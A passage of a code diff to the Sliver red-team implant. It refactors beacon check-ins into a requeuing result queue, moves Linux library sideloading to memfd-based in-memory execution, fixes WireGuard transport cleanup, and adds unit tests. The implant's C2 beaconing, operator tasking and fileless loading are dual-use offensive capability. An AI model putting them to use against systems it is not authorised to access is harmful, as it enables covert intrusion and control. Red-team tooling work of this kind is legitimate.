||||
log.Printf("[beacon] main error: %v", nextCheckin)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] sleep until %v", nextCheckin)
|
||||
// {{end}}
|
||||
select {
|
||||
case <-errors:
|
||||
return err
|
||||
case <-time.After(duration):
|
||||
case <-shortCircuit:
|
||||
// Short circuit current duration with no error
|
||||
if oldInterval == beacon.Interval() {
|
||||
// Keep the original start-to-start cadence when the check-in
|
||||
// finishes before its deadline. If it overruns, begin the next
|
||||
// check-in immediately without overlapping shared transport state.
|
||||
if remaining := time.Until(nextCheckin); 0 < remaining {
|
||||
time.Sleep(remaining)
|
||||
}
|
||||
}
|
||||
|
||||
// check if reconfig used to set a new C2-URI
|
||||
// check if reconfig used to set a new C2-URI
|
||||
if c2 := transports.GetC2URI(); c2 != "" && c2 != beacon.ActiveC2 {
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] C2 URI changed to %s, reconnecting...", c2)
|
||||
@@ -309,10 +336,9 @@ func beaconMainLoop(beacon *transports.Beacon) error {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
func beaconMain(beacon *transports.Beacon, nextCheckin time.Time, pendingResults chan *sliverpb.Envelope) error {
|
||||
func beaconMain(beacon *transports.Beacon, nextCheckin time.Time, pendingResults *beaconResultQueue) error {
|
||||
err := beacon.Start()
|
||||
if err != nil {
|
||||
// {{if .Config.Debug}}
|
||||
@@ -328,17 +354,8 @@ func beaconMain(beacon *transports.Beacon, nextCheckin time.Time, pendingResults
|
||||
beacon.Close()
|
||||
}()
|
||||
|
||||
// Collect any pending results from background tasks
|
||||
var completedResults []*sliverpb.Envelope
|
||||
collecting:
|
||||
for {
|
||||
select {
|
||||
case result := <-pendingResults:
|
||||
completedResults = append(completedResults, result)
|
||||
default:
|
||||
break collecting
|
||||
}
|
||||
}
|
||||
// Collect any pending results from background tasks.
|
||||
completedResults := pendingResults.drain()
|
||||
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] sending check in with %d pending results...", len(completedResults))
|
||||
@@ -349,11 +366,18 @@ collecting:
|
||||
Tasks: completedResults,
|
||||
}))
|
||||
if err != nil {
|
||||
pendingResults.prepend(completedResults)
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] send failure %s", err)
|
||||
// {{end}}
|
||||
return err
|
||||
}
|
||||
// The server deliberately does not return pending tasks on a result-only
|
||||
// check-in. Waiting for a response here blocks this loop until another
|
||||
// check-in replaces the transport connection.
|
||||
if len(completedResults) > 0 {
|
||||
return nil
|
||||
}
|
||||
// {{if .Config.Debug}}
|
||||
log.Printf("[beacon] recv task(s) ...")
|
||||
// {{end}}
|
||||
@@ -401,7 +425,7 @@ collecting:
|
||||
// Dispatch tasks to background - results sent to pendingResults as each completes
|
||||
// Extensions must be registered synchronously before other tasks can use them
|
||||
for _, r := range beaconHandleTasklist(tasksExtensionRegister) {
|
||||
pendingResults <- r
|
||||
pendingResults.add(r)
|
||||
}
|
||||
|
||||
// Dispatch other tasks individually - each sends its result when done
|
||||
@@ -414,7 +438,7 @@ collecting:
|
||||
}
|
||||
|
||||
// beaconDispatchTasks dispatches tasks to run in background, sending results as each completes
|
||||
func beaconDispatchTasks(tasks []*sliverpb.Envelope, pendingResults chan *sliverpb.Envelope) {
|
||||
func beaconDispatchTasks(tasks []*sliverpb.Envelope, pendingResults *beaconResultQueue) {
|
||||
sysHandlers := handlers.GetSystemHandlers()
|
||||
specHandlers := handlers.GetKillHandlers()
|
||||
|
||||
@@ -434,10 +458,10 @@ func beaconDispatchTasks(tasks []*sliverpb.Envelope, pendingResults chan *sliver
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
pendingResults <- &sliverpb.Envelope{
|
||||
pendingResults.add(&sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
}
|
||||
})
|
||||
})
|
||||
}()
|
||||
// {{else}}
|
||||
@@ -449,26 +473,26 @@ func beaconDispatchTasks(tasks []*sliverpb.Envelope, pendingResults chan *sliver
|
||||
}
|
||||
log.Printf("[beacon] task completed (id: %d)", taskID)
|
||||
// {{end}}
|
||||
pendingResults <- &sliverpb.Envelope{
|
||||
pendingResults.add(&sliverpb.Envelope{
|
||||
ID: taskID,
|
||||
Data: data,
|
||||
}
|
||||
})
|
||||
})
|
||||
}()
|
||||
// {{end}}
|
||||
} else if task.Type == sliverpb.MsgOpenSession {
|
||||
go openSessionHandler(task.Data)
|
||||
pendingResults <- &sliverpb.Envelope{
|
||||
pendingResults.add(&sliverpb.Envelope{
|
||||
ID: task.ID,
|
||||
Data: []byte{},
|
||||
}
|
||||
})
|
||||
} else if handler, ok := specHandlers[task.Type]; ok {
|
||||
go handler(task.Data, nil)
|
||||
} else {
|
||||
pendingResults <- &sliverpb.Envelope{
|
||||
pendingResults.add(&sliverpb.Envelope{
|
||||
ID: task.ID,
|
||||
UnknownMessageType: true,
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
@@ -0,0 +1,220 @@
|
||||
//go:build windows && !sliver_lint
|
||||
|
||||
package runner
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/implant/sliver/transports"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
)
|
||||
|
||||
func setBeaconTimingForTest(t *testing.T, interval time.Duration) {
|
||||
t.Helper()
|
||||
oldInterval := transports.GetInterval()
|
||||
oldJitter := transports.GetJitter()
|
||||
oldC2URI := transports.GetC2URI()
|
||||
transports.SetInterval(int64(interval))
|
||||
transports.SetJitter(1) // Int63n(1) always yields zero jitter.
|
||||
transports.SetC2URI("")
|
||||
t.Cleanup(func() {
|
||||
transports.SetInterval(oldInterval)
|
||||
transports.SetJitter(oldJitter)
|
||||
transports.SetC2URI(oldC2URI)
|
||||
})
|
||||
}
|
||||
|
||||
func TestBeaconCheckinLoopSerializesSlowCheckins(t *testing.T) {
|
||||
const interval = 10 * time.Millisecond
|
||||
setBeaconTimingForTest(t, interval)
|
||||
|
||||
firstStarted := make(chan struct{})
|
||||
secondStarted := make(chan struct{})
|
||||
releaseFirst := make(chan struct{})
|
||||
var releaseOnce sync.Once
|
||||
release := func() { releaseOnce.Do(func() { close(releaseFirst) }) }
|
||||
defer release()
|
||||
|
||||
stopErr := errors.New("stop check-in loop")
|
||||
var stateMu sync.Mutex
|
||||
active := 0
|
||||
maxActive := 0
|
||||
calls := 0
|
||||
checkin := func(*transports.Beacon, time.Time, *beaconResultQueue) error {
|
||||
stateMu.Lock()
|
||||
active++
|
||||
calls++
|
||||
call := calls
|
||||
if maxActive < active {
|
||||
maxActive = active
|
||||
}
|
||||
stateMu.Unlock()
|
||||
defer func() {
|
||||
stateMu.Lock()
|
||||
active--
|
||||
stateMu.Unlock()
|
||||
}()
|
||||
|
||||
switch call {
|
||||
case 1:
|
||||
close(firstStarted)
|
||||
<-releaseFirst
|
||||
return nil
|
||||
case 2:
|
||||
close(secondStarted)
|
||||
return stopErr
|
||||
default:
|
||||
return errors.New("unexpected extra check-in")
|
||||
}
|
||||
}
|
||||
|
||||
done := make(chan error, 1)
|
||||
go func() {
|
||||
done <- beaconCheckinLoop(&transports.Beacon{}, &beaconResultQueue{}, checkin)
|
||||
}()
|
||||
|
||||
select {
|
||||
case <-firstStarted:
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("first check-in did not start")
|
||||
}
|
||||
overlapped := false
|
||||
select {
|
||||
case <-secondStarted:
|
||||
overlapped = true
|
||||
case <-time.After(5 * interval):
|
||||
}
|
||||
|
||||
release()
|
||||
select {
|
||||
case err := <-done:
|
||||
if !errors.Is(err, stopErr) {
|
||||
t.Fatalf("got error %v, want %v", err, stopErr)
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("check-in loop did not stop")
|
||||
}
|
||||
|
||||
stateMu.Lock()
|
||||
defer stateMu.Unlock()
|
||||
if overlapped {
|
||||
t.Error("second check-in overlapped the first")
|
||||
}
|
||||
if calls != 2 {
|
||||
t.Fatalf("check-in called %d times, want 2", calls)
|
||||
}
|
||||
if maxActive != 1 {
|
||||
t.Fatalf("maximum concurrent check-ins = %d, want 1", maxActive)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconCheckinLoopShortCircuitsReconfiguredInterval(t *testing.T) {
|
||||
const originalInterval = 500 * time.Millisecond
|
||||
setBeaconTimingForTest(t, originalInterval)
|
||||
|
||||
stopErr := errors.New("stop check-in loop")
|
||||
calls := 0
|
||||
start := time.Now()
|
||||
err := beaconCheckinLoop(&transports.Beacon{}, &beaconResultQueue{}, func(*transports.Beacon, time.Time, *beaconResultQueue) error {
|
||||
calls++
|
||||
if calls == 1 {
|
||||
transports.SetInterval(int64(time.Millisecond))
|
||||
return nil
|
||||
}
|
||||
return stopErr
|
||||
})
|
||||
if !errors.Is(err, stopErr) {
|
||||
t.Fatalf("got error %v, want %v", err, stopErr)
|
||||
}
|
||||
if elapsed := time.Since(start); originalInterval/2 <= elapsed {
|
||||
t.Fatalf("reconfigured interval did not short circuit sleep: %s", elapsed)
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconResultQueuePrependPreservesOrder(t *testing.T) {
|
||||
queue := &beaconResultQueue{}
|
||||
first := &sliverpb.Envelope{ID: 1}
|
||||
second := &sliverpb.Envelope{ID: 2}
|
||||
third := &sliverpb.Envelope{ID: 3}
|
||||
queue.add(third)
|
||||
queue.prepend([]*sliverpb.Envelope{first, second})
|
||||
|
||||
actual := queue.drain()
|
||||
if len(actual) != 3 || actual[0] != first || actual[1] != second || actual[2] != third {
|
||||
t.Fatalf("unexpected result order: %+v", actual)
|
||||
}
|
||||
if remaining := queue.drain(); len(remaining) != 0 {
|
||||
t.Fatalf("drain left %d result(s)", len(remaining))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconMainResultCheckinDoesNotWaitForTasks(t *testing.T) {
|
||||
queue := &beaconResultQueue{}
|
||||
queue.add(&sliverpb.Envelope{ID: 41, Data: []byte("result")})
|
||||
|
||||
var recvCalled bool
|
||||
beacon := &transports.Beacon{
|
||||
Start: func() error { return nil },
|
||||
Send: func(*sliverpb.Envelope) error { return nil },
|
||||
Recv: func() (*sliverpb.Envelope, error) {
|
||||
recvCalled = true
|
||||
return nil, errors.New("unexpected receive")
|
||||
},
|
||||
Close: func() error { return nil },
|
||||
}
|
||||
|
||||
if err := beaconMain(beacon, time.Now(), queue); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if recvCalled {
|
||||
t.Fatal("result-only check-in waited for a server task response")
|
||||
}
|
||||
if remaining := queue.drain(); len(remaining) != 0 {
|
||||
t.Fatalf("successful check-in retained %d result(s)", len(remaining))
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconMainEmptyCheckinWaitsForTasks(t *testing.T) {
|
||||
queue := &beaconResultQueue{}
|
||||
var recvCalled bool
|
||||
beacon := &transports.Beacon{
|
||||
Start: func() error { return nil },
|
||||
Send: func(*sliverpb.Envelope) error { return nil },
|
||||
Recv: func() (*sliverpb.Envelope, error) {
|
||||
recvCalled = true
|
||||
return nil, nil
|
||||
},
|
||||
Close: func() error { return nil },
|
||||
}
|
||||
|
||||
if err := beaconMain(beacon, time.Now(), queue); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if !recvCalled {
|
||||
t.Fatal("empty check-in did not wait for a server task response")
|
||||
}
|
||||
}
|
||||
|
||||
func TestBeaconMainRequeuesResultsAfterSendFailure(t *testing.T) {
|
||||
wantErr := errors.New("send failed")
|
||||
result := &sliverpb.Envelope{ID: 73, Data: []byte("result")}
|
||||
queue := &beaconResultQueue{}
|
||||
queue.add(result)
|
||||
beacon := &transports.Beacon{
|
||||
Start: func() error { return nil },
|
||||
Send: func(*sliverpb.Envelope) error { return wantErr },
|
||||
Recv: func() (*sliverpb.Envelope, error) { return nil, nil },
|
||||
Close: func() error { return nil },
|
||||
}
|
||||
|
||||
if err := beaconMain(beacon, time.Now(), queue); !errors.Is(err, wantErr) {
|
||||
t.Fatalf("got error %v, want %v", err, wantErr)
|
||||
}
|
||||
actual := queue.drain()
|
||||
if len(actual) != 1 || actual[0] != result {
|
||||
t.Fatalf("send failure did not preserve exact result: %+v", actual)
|
||||
}
|
||||
}
|
||||
@@ -29,6 +29,8 @@ import (
|
||||
"syscall"
|
||||
"unsafe"
|
||||
|
||||
"golang.org/x/sys/unix"
|
||||
|
||||
//{{if .Config.Debug}}
|
||||
"log"
|
||||
//{{end}}
|
||||
@@ -98,26 +100,21 @@ func RemoteTask(processID int, data []byte, rwxPages bool) error {
|
||||
// Sideload - Side load a library and return its output
|
||||
func Sideload(procName string, procArgs []string, _ uint32, data []byte, args []string, kill bool) (string, error) {
|
||||
var (
|
||||
nrMemfdCreate int
|
||||
stdOut bytes.Buffer
|
||||
stdErr bytes.Buffer
|
||||
wg sync.WaitGroup
|
||||
cmd *exec.Cmd
|
||||
stdOut bytes.Buffer
|
||||
stdErr bytes.Buffer
|
||||
wg sync.WaitGroup
|
||||
cmd *exec.Cmd
|
||||
)
|
||||
memfdName := RandomString(8)
|
||||
memfd, err := syscall.BytePtrFromString(memfdName)
|
||||
fd, err := unix.MemfdCreate(memfdName, unix.MFD_CLOEXEC)
|
||||
if err != nil {
|
||||
//{{if .Config.Debug}}
|
||||
log.Printf("Error during conversion: %s\n", err)
|
||||
log.Printf("Error creating memfd: %s\n", err)
|
||||
//{{end}}
|
||||
return "", err
|
||||
return "", fmt.Errorf("create memfd: %w", err)
|
||||
}
|
||||
if runtime.GOARCH == "386" {
|
||||
nrMemfdCreate = 356
|
||||
} else {
|
||||
nrMemfdCreate = 319
|
||||
}
|
||||
fd, _, _ := syscall.Syscall(uintptr(nrMemfdCreate), uintptr(unsafe.Pointer(memfd)), 1, 0)
|
||||
defer func() { _ = unix.Close(fd) }()
|
||||
|
||||
pid := os.Getpid()
|
||||
fdPath := fmt.Sprintf("/proc/%d/fd/%d", pid, fd)
|
||||
err = os.WriteFile(fdPath, data, 0755)
|
||||
|
||||
@@ -325,8 +325,9 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
return err
|
||||
}
|
||||
if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
|
||||
_ = conn.Close()
|
||||
_ = dev.Down()
|
||||
closeWGBeaconResources(nil, conn, dev)
|
||||
conn = nil
|
||||
dev = nil
|
||||
return err
|
||||
}
|
||||
cfg := yamux.DefaultConfig()
|
||||
@@ -339,8 +340,9 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
// {{end}}
|
||||
muxSession, err = yamux.Client(conn, cfg)
|
||||
if err != nil {
|
||||
_ = conn.Close()
|
||||
_ = dev.Down()
|
||||
closeWGBeaconResources(nil, conn, dev)
|
||||
conn = nil
|
||||
dev = nil
|
||||
return err
|
||||
}
|
||||
return nil
|
||||
@@ -354,26 +356,13 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
return wireguard.ReadEnvelope(stream)
|
||||
},
|
||||
Send: func(envelope *pb.Envelope) error {
|
||||
stream, err := muxSession.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
defer stream.Close()
|
||||
return wireguard.WriteEnvelope(stream, envelope)
|
||||
return sendWGBeaconEnvelope(muxSession, envelope)
|
||||
},
|
||||
Close: func() error {
|
||||
if muxSession != nil {
|
||||
_ = muxSession.Close()
|
||||
muxSession = nil
|
||||
}
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
conn = nil
|
||||
}
|
||||
if dev != nil {
|
||||
_ = dev.Down()
|
||||
dev = nil
|
||||
}
|
||||
closeWGBeaconResources(muxSession, conn, dev)
|
||||
muxSession = nil
|
||||
conn = nil
|
||||
dev = nil
|
||||
return nil
|
||||
},
|
||||
Cleanup: func() error {
|
||||
@@ -383,6 +372,71 @@ func wgBeacon(uri *url.URL) *Beacon {
|
||||
return beacon
|
||||
}
|
||||
|
||||
// closeWGBeaconResources permanently closes each per-check-in resource. A
|
||||
// device.Down only stops the bind and peers; it leaves the netstack TUN and
|
||||
// WireGuard worker goroutines alive, so beacon reconnects must use Close.
|
||||
func closeWGBeaconResources(muxSession *yamux.Session, conn net.Conn, dev *device.Device) {
|
||||
if muxSession != nil {
|
||||
_ = muxSession.Close()
|
||||
}
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
if dev != nil {
|
||||
closeWGBeaconDevice(dev.Close)
|
||||
}
|
||||
}
|
||||
|
||||
func closeWGBeaconDevice(closeDevice func()) {
|
||||
if closeDevice != nil {
|
||||
closeDevice()
|
||||
}
|
||||
}
|
||||
|
||||
const wgBeaconStreamReceiptTimeout = 5 * time.Second
|
||||
|
||||
func sendWGBeaconEnvelope(muxSession *yamux.Session, envelope *pb.Envelope) error {
|
||||
if envelope == nil {
|
||||
return errors.New("[wg] nil beacon envelope")
|
||||
}
|
||||
return sendWGBeaconStream(muxSession, wgBeaconStreamReceiptTimeout, func(stream net.Conn) error {
|
||||
return wireguard.WriteEnvelope(stream, envelope)
|
||||
})
|
||||
}
|
||||
|
||||
// sendWGBeaconStream waits for the peer's FIN after writing the request. A
|
||||
// successful yamux write only means the frame reached the local transport; the
|
||||
// remote FIN proves the server read the complete request before the beacon
|
||||
// tears down the WireGuard session.
|
||||
func sendWGBeaconStream(muxSession *yamux.Session, receiptTimeout time.Duration, write func(net.Conn) error) error {
|
||||
if muxSession == nil {
|
||||
return errors.New("[wg] send called with nil yamux session")
|
||||
}
|
||||
if receiptTimeout <= 0 {
|
||||
return errors.New("[wg] invalid beacon stream receipt timeout")
|
||||
}
|
||||
stream, err := muxSession.Open()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if isNilInterface(stream) {
|
||||
return errors.New("[wg] open returned nil stream")
|
||||
}
|
||||
defer func() { _ = stream.Close() }()
|
||||
|
||||
if err := write(stream); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := stream.SetReadDeadline(time.Now().Add(receiptTimeout)); err != nil {
|
||||
return err
|
||||
}
|
||||
if err := stream.Close(); err != nil {
|
||||
return err
|
||||
}
|
||||
_, err = io.Copy(io.Discard, stream)
|
||||
return err
|
||||
}
|
||||
|
||||
// {{end}}
|
||||
|
||||
// {{if .Config.IncludeHTTP}}
|
||||
|
||||
@@ -0,0 +1,159 @@
|
||||
//go:build windows || darwin || linux
|
||||
|
||||
package transports
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"io"
|
||||
"net"
|
||||
"sync"
|
||||
"testing"
|
||||
"time"
|
||||
|
||||
"github.com/hashicorp/yamux"
|
||||
)
|
||||
|
||||
type recordingWGBeaconDevice struct {
|
||||
closeCalls int
|
||||
}
|
||||
|
||||
func (d *recordingWGBeaconDevice) Close() {
|
||||
d.closeCalls++
|
||||
}
|
||||
|
||||
func TestCloseWGBeaconDeviceUsesPermanentClose(t *testing.T) {
|
||||
dev := &recordingWGBeaconDevice{}
|
||||
closeWGBeaconDevice(dev.Close)
|
||||
if dev.closeCalls != 1 {
|
||||
t.Fatalf("wireguard device Close called %d times, want 1", dev.closeCalls)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSendWGBeaconStreamWaitsForRemoteClose(t *testing.T) {
|
||||
client, server := newBeaconYamuxPair(t)
|
||||
marker := []byte("beacon-result")
|
||||
serverRead := make(chan struct{})
|
||||
releaseServer := make(chan struct{})
|
||||
var releaseOnce sync.Once
|
||||
release := func() { releaseOnce.Do(func() { close(releaseServer) }) }
|
||||
t.Cleanup(release)
|
||||
serverErr := make(chan error, 1)
|
||||
|
||||
go func() {
|
||||
stream, err := server.Accept()
|
||||
if err != nil {
|
||||
serverErr <- err
|
||||
return
|
||||
}
|
||||
defer func() { _ = stream.Close() }()
|
||||
got := make([]byte, len(marker))
|
||||
if _, err := io.ReadFull(stream, got); err != nil {
|
||||
serverErr <- err
|
||||
return
|
||||
}
|
||||
if string(got) != string(marker) {
|
||||
serverErr <- errors.New("server received an unexpected payload")
|
||||
return
|
||||
}
|
||||
close(serverRead)
|
||||
<-releaseServer
|
||||
serverErr <- nil
|
||||
}()
|
||||
|
||||
sendErr := make(chan error, 1)
|
||||
go func() {
|
||||
sendErr <- sendWGBeaconStream(client, time.Second, func(stream net.Conn) error {
|
||||
_, err := stream.Write(marker)
|
||||
return err
|
||||
})
|
||||
}()
|
||||
|
||||
select {
|
||||
case err := <-serverErr:
|
||||
t.Fatalf("server failed before reading the request: %v", err)
|
||||
case err := <-sendErr:
|
||||
t.Fatalf("send returned before the server read the request: %v", err)
|
||||
case <-serverRead:
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("server did not receive the request")
|
||||
}
|
||||
|
||||
select {
|
||||
case err := <-sendErr:
|
||||
t.Fatalf("send returned before the server closed its stream: %v", err)
|
||||
case <-time.After(100 * time.Millisecond):
|
||||
}
|
||||
|
||||
release()
|
||||
select {
|
||||
case err := <-sendErr:
|
||||
if err != nil {
|
||||
t.Fatalf("send failed after the server closed its stream: %v", err)
|
||||
}
|
||||
case <-time.After(time.Second):
|
||||
t.Fatal("send did not observe the server stream close")
|
||||
}
|
||||
if err := <-serverErr; err != nil {
|
||||
t.Fatalf("server failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func TestSendWGBeaconStreamReceiptTimeout(t *testing.T) {
|
||||
client, server := newBeaconYamuxPair(t)
|
||||
marker := []byte("beacon-result")
|
||||
releaseServer := make(chan struct{})
|
||||
var releaseOnce sync.Once
|
||||
release := func() { releaseOnce.Do(func() { close(releaseServer) }) }
|
||||
t.Cleanup(release)
|
||||
serverErr := make(chan error, 1)
|
||||
|
||||
go func() {
|
||||
stream, err := server.Accept()
|
||||
if err != nil {
|
||||
serverErr <- err
|
||||
return
|
||||
}
|
||||
defer func() { _ = stream.Close() }()
|
||||
got := make([]byte, len(marker))
|
||||
if _, err := io.ReadFull(stream, got); err != nil {
|
||||
serverErr <- err
|
||||
return
|
||||
}
|
||||
<-releaseServer
|
||||
serverErr <- nil
|
||||
}()
|
||||
|
||||
err := sendWGBeaconStream(client, 50*time.Millisecond, func(stream net.Conn) error {
|
||||
_, err := stream.Write(marker)
|
||||
return err
|
||||
})
|
||||
if !errors.Is(err, yamux.ErrTimeout) {
|
||||
t.Fatalf("got receipt error %v, want %v", err, yamux.ErrTimeout)
|
||||
}
|
||||
release()
|
||||
if err := <-serverErr; err != nil {
|
||||
t.Fatalf("server failed: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
func newBeaconYamuxPair(t *testing.T) (*yamux.Session, *yamux.Session) {
|
||||
t.Helper()
|
||||
clientConn, serverConn := net.Pipe()
|
||||
config := yamux.DefaultConfig()
|
||||
config.EnableKeepAlive = false
|
||||
config.LogOutput = io.Discard
|
||||
server, err := yamux.Server(serverConn, config)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
client, err := yamux.Client(clientConn, config)
|
||||
if err != nil {
|
||||
_ = server.Close()
|
||||
t.Fatal(err)
|
||||
}
|
||||
t.Cleanup(func() {
|
||||
_ = client.Close()
|
||||
_ = server.Close()
|
||||
})
|
||||
return client, server
|
||||
}
|
||||
@@ -426,6 +426,17 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
var conn net.Conn
|
||||
var dev *device.Device
|
||||
var muxSession *yamux.Session
|
||||
closeTransport := func() {
|
||||
if muxSession != nil {
|
||||
_ = muxSession.Close()
|
||||
}
|
||||
if conn != nil {
|
||||
_ = conn.Close()
|
||||
}
|
||||
if dev != nil {
|
||||
dev.Close()
|
||||
}
|
||||
}
|
||||
connection := &Connection{
|
||||
Send: send,
|
||||
Recv: recv,
|
||||
@@ -440,15 +451,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
log.Printf("[wg] lost connection, cleanup...")
|
||||
// {{end}}
|
||||
close(done)
|
||||
if muxSession != nil {
|
||||
muxSession.Close()
|
||||
}
|
||||
if conn != nil {
|
||||
conn.Close()
|
||||
}
|
||||
if dev != nil {
|
||||
dev.Down()
|
||||
}
|
||||
closeTransport()
|
||||
close(recv)
|
||||
},
|
||||
}
|
||||
@@ -488,8 +491,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
return err
|
||||
}
|
||||
if _, err := conn.Write([]byte(wireguard.YamuxPreface)); err != nil {
|
||||
conn.Close()
|
||||
dev.Down()
|
||||
closeTransport()
|
||||
return err
|
||||
}
|
||||
cfg := yamux.DefaultConfig()
|
||||
@@ -502,8 +504,7 @@ func wgConnect(uri *url.URL) (*Connection, error) {
|
||||
// {{end}}
|
||||
muxSession, err = yamux.Client(conn, cfg)
|
||||
if err != nil {
|
||||
conn.Close()
|
||||
dev.Down()
|
||||
closeTransport()
|
||||
return err
|
||||
}
|
||||
connection.IsOpen = true
|
||||
|
||||
@@ -0,0 +1,9 @@
|
||||
//go:build (windows && !arm64) || darwin || linux
|
||||
|
||||
package wireguard
|
||||
|
||||
import "golang.zx2c4.com/wireguard/conn"
|
||||
|
||||
func newWGUDPBind() conn.Bind {
|
||||
return conn.NewDefaultBind()
|
||||
}
|
||||
@@ -0,0 +1,12 @@
|
||||
//go:build windows && arm64
|
||||
|
||||
package wireguard
|
||||
|
||||
import "golang.zx2c4.com/wireguard/conn"
|
||||
|
||||
// WinRingBind can stop exchanging handshakes after rapid userspace-device
|
||||
// recreation on Windows ARM64. Beacon callbacks recreate their device at each
|
||||
// interval, so use wireguard-go's portable socket bind on this target.
|
||||
func newWGUDPBind() conn.Bind {
|
||||
return conn.NewStdNetBind()
|
||||
}
|
||||
@@ -0,0 +1,15 @@
|
||||
//go:build windows && arm64
|
||||
|
||||
package wireguard
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"golang.zx2c4.com/wireguard/conn"
|
||||
)
|
||||
|
||||
func TestWindowsARM64WGUDPBindUsesStandardSockets(t *testing.T) {
|
||||
if _, ok := newWGUDPBind().(*conn.StdNetBind); !ok {
|
||||
t.Fatal("Windows ARM64 WireGuard bind did not use standard sockets")
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,201 @@
|
||||
//go:build windows || darwin || linux
|
||||
|
||||
package wireguard
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"errors"
|
||||
"io"
|
||||
"net"
|
||||
"strings"
|
||||
"testing"
|
||||
)
|
||||
|
||||
type ownershipTestDevice struct {
|
||||
upErr error
|
||||
configureErr error
|
||||
upCalls int
|
||||
closeCalls int
|
||||
configured string
|
||||
}
|
||||
|
||||
func (d *ownershipTestDevice) Up() error {
|
||||
d.upCalls++
|
||||
return d.upErr
|
||||
}
|
||||
|
||||
func (d *ownershipTestDevice) Close() {
|
||||
d.closeCalls++
|
||||
}
|
||||
|
||||
func (d *ownershipTestDevice) IpcSetOperation(config io.Reader) error {
|
||||
data, err := io.ReadAll(config)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
d.configured = string(data)
|
||||
return d.configureErr
|
||||
}
|
||||
|
||||
type ownershipTestDialer struct {
|
||||
dial func(network string, address string) (net.Conn, error)
|
||||
dialCalls int
|
||||
network string
|
||||
address string
|
||||
}
|
||||
|
||||
func (d *ownershipTestDialer) Dial(network string, address string) (net.Conn, error) {
|
||||
d.dialCalls++
|
||||
d.network = network
|
||||
d.address = address
|
||||
return d.dial(network, address)
|
||||
}
|
||||
|
||||
func TestGetSessKeysWithDeviceClosesTemporaryDevice(t *testing.T) {
|
||||
originalPrivate, originalPublic, originalAddress := wgSessPrivKey, wgSessPubKey, tunAddress
|
||||
t.Cleanup(func() {
|
||||
wgSessPrivKey, wgSessPubKey, tunAddress = originalPrivate, originalPublic, originalAddress
|
||||
})
|
||||
|
||||
privateKey := strings.Repeat("a", 64)
|
||||
publicKey := strings.Repeat("b", 64)
|
||||
dialer := &ownershipTestDialer{dial: func(string, string) (net.Conn, error) {
|
||||
client, server := net.Pipe()
|
||||
go func() {
|
||||
_, _ = server.Write([]byte(privateKey + "|" + publicKey + "|100.64.0.42"))
|
||||
_ = server.Close()
|
||||
}()
|
||||
return client, nil
|
||||
}}
|
||||
dev := &ownershipTestDevice{}
|
||||
|
||||
if err := getSessKeysWithDevice(dev, dialer); err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if dev.upCalls != 1 || dev.closeCalls != 1 {
|
||||
t.Fatalf("temporary device calls: Up=%d Close=%d, want 1 each", dev.upCalls, dev.closeCalls)
|
||||
}
|
||||
if wgSessPrivKey != privateKey || wgSessPubKey != publicKey || tunAddress != "100.64.0.42" {
|
||||
t.Fatalf("unexpected session keys: private=%q public=%q address=%q", wgSessPrivKey, wgSessPubKey, tunAddress)
|
||||
}
|
||||
}
|
||||
|
||||
func TestGetSessKeysWithDeviceClosesTemporaryDeviceOnErrors(t *testing.T) {
|
||||
originalPrivate, originalPublic, originalAddress := wgSessPrivKey, wgSessPubKey, tunAddress
|
||||
t.Cleanup(func() {
|
||||
wgSessPrivKey, wgSessPubKey, tunAddress = originalPrivate, originalPublic, originalAddress
|
||||
})
|
||||
|
||||
upErr := errors.New("up failed")
|
||||
dialErr := errors.New("dial failed")
|
||||
tests := []struct {
|
||||
name string
|
||||
dev *ownershipTestDevice
|
||||
dial func(string, string) (net.Conn, error)
|
||||
wantErr error
|
||||
wantDialed bool
|
||||
}{
|
||||
{
|
||||
name: "device up",
|
||||
dev: &ownershipTestDevice{upErr: upErr},
|
||||
dial: func(string, string) (net.Conn, error) { return nil, errors.New("unexpected dial") },
|
||||
wantErr: upErr,
|
||||
},
|
